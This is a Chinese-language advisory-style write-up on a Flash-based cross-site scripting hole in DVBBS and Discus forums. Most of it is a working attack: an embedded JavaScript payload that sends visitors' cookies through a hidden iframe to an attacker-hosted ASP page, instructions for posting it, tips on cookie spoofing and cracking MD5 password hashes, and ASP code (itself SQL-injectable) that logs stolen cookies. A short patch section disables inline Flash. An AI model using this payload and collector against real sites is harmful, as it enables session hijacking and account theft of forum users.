灌水公司荣誉出品
◇ 此漏洞所涉及版本:: DVBBS、Discus所有版本,其它论坛未作测试,相信大多数都存在该漏洞
◇ 描述: 由于DVBBS等论坛对Flash采取直接播放形式,导致攻击者可以利用Flash嵌入一段javascript代码,达到偷取用户Cookies的目的
◇ 具体分析与利用: 1. 首先准备好一个可以运行ASP的空间,用来存放Cookies 2. 新建一个Flash动画,加入如下代码: onClipEvent (load) { url="javascript:var rng=document.selection.createRange();rng.pasteHTML(\"<iframe name=frame_hide style='display:none'></iframe><img src=\\\"./images/logo.gif\\\" style=\\\"display:none\\\" onload=\\\"javascript:co=document.cookie;document.all.frame_hide.src='http://存放路径/WriteCookies.asp?Cookies='+co.split('&');var e=document.all;for(var i=0;i<e.length;i++){if(e(i).tagName=='A'){var ss=e(i).outerHTML;}}\\\">\");" getURL(url); } 利用iframe是为了让其它人查觉不到程序的页面跳转 3. 将Flash导出为swf文件,插入到想要偷取Cookies的论坛上,加入代码[FLASH=0,0]http://Flash地址[/FLASH] (注,有些论坛是[swf][/swf]) 4. 这样,如果有用户进到贴子里面,javascript程序就会把该用户的Cookies送到WriteCookies.asp,保存到数据库 5. 至于Cookies欺骗,推荐使用IECookiesView,很多教程都有介绍,在这里就不多说了
◇ 备注 1. 对于禁用Flash的论坛,还可以利用PNG格式的图片嵌入代码偷取 2. 拿到Cookies后,密码是经MD5算法加密过的字符串,如果你喜欢用暴力的话,可以试试去解码,当然,个人是不推荐这种方法的
◇ 解决方案: 1. 禁用Flash,或将Flash改为链接格式,以动网为例,修改INC/ubbcode.asp文件
找到下面两段 re.Pattern="(\[FLASH\])(.[^\[]*)(\[\/FLASH\])" strContent= re.Replace(strContent,"<a href=""$2"" TARGET=_blank><IMG SRC=pic/swf.gif border=0 alt=点击开新窗口欣赏该FLASH动画! height=16 width=16>[全屏欣赏]</a> <OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=500 height=400><PARAM NAME=movie value=""$2""><PARAM NAME=quality value=high><embed src=""$2"" quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width=500 height=400>$2</embed></OBJECT>")
re.Pattern="(\[FLASH=*([0-9]*),*([0-9]*)\])(.[^\[]*)(\[\/FLASH\])" strContent= re.Replace(strContent,"<a href=""$4"" TARGET=_blank><IMG SRC=pic/swf.gif border=0 alt=点击开新窗口欣赏该FLASH动画! height=16 width=16>[全屏欣赏]</a> <OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=$2 height=$3><PARAM NAME=movie value=""$4""><PARAM NAME=quality value=high><embed src=""$4"" quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width=$2 height=$3>$4</embed></OBJECT>")
改为 re.Pattern="(\[FLASH\])(.[^\[]*)(\[\/FLASH\])" strContent= re.Replace(strContent,"<a href=""$2"" TARGET=_blank><IMG SRC=pic/swf.gif border=0 height=16 width=16>[点击打开该Flash文件]</a>")
re.Pattern="(\[FLASH=*([0-9]*),*([0-9]*)\])(.[^\[]*)(\[\/FLASH\])" strContent= re.Replace(strContent,"<a href=""$4"" TARGET=_blank><IMG SRC=pic/swf.gif border=0 height=16 width=16>[点击打开该Flash文件]</a>")
2. 至于PNG图片的问题,留给写论坛的人自己去解决吧
◇ 附:保存Cookies的简单ASP代码,如果想要加上其他功能,自己稍为修改一下就行了。 Set conn=Server.CreateObject("ADODB.Connection") conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq="& Server.MapPath("CookiesLog.mdb") Cookies=request("Cookies") IP=request.serverVariables("remote_host") sql="insert into co(Cookies,IP) values('"&Cookies&"','"&IP&"')" conn.execute(sql) set conn=nothing
|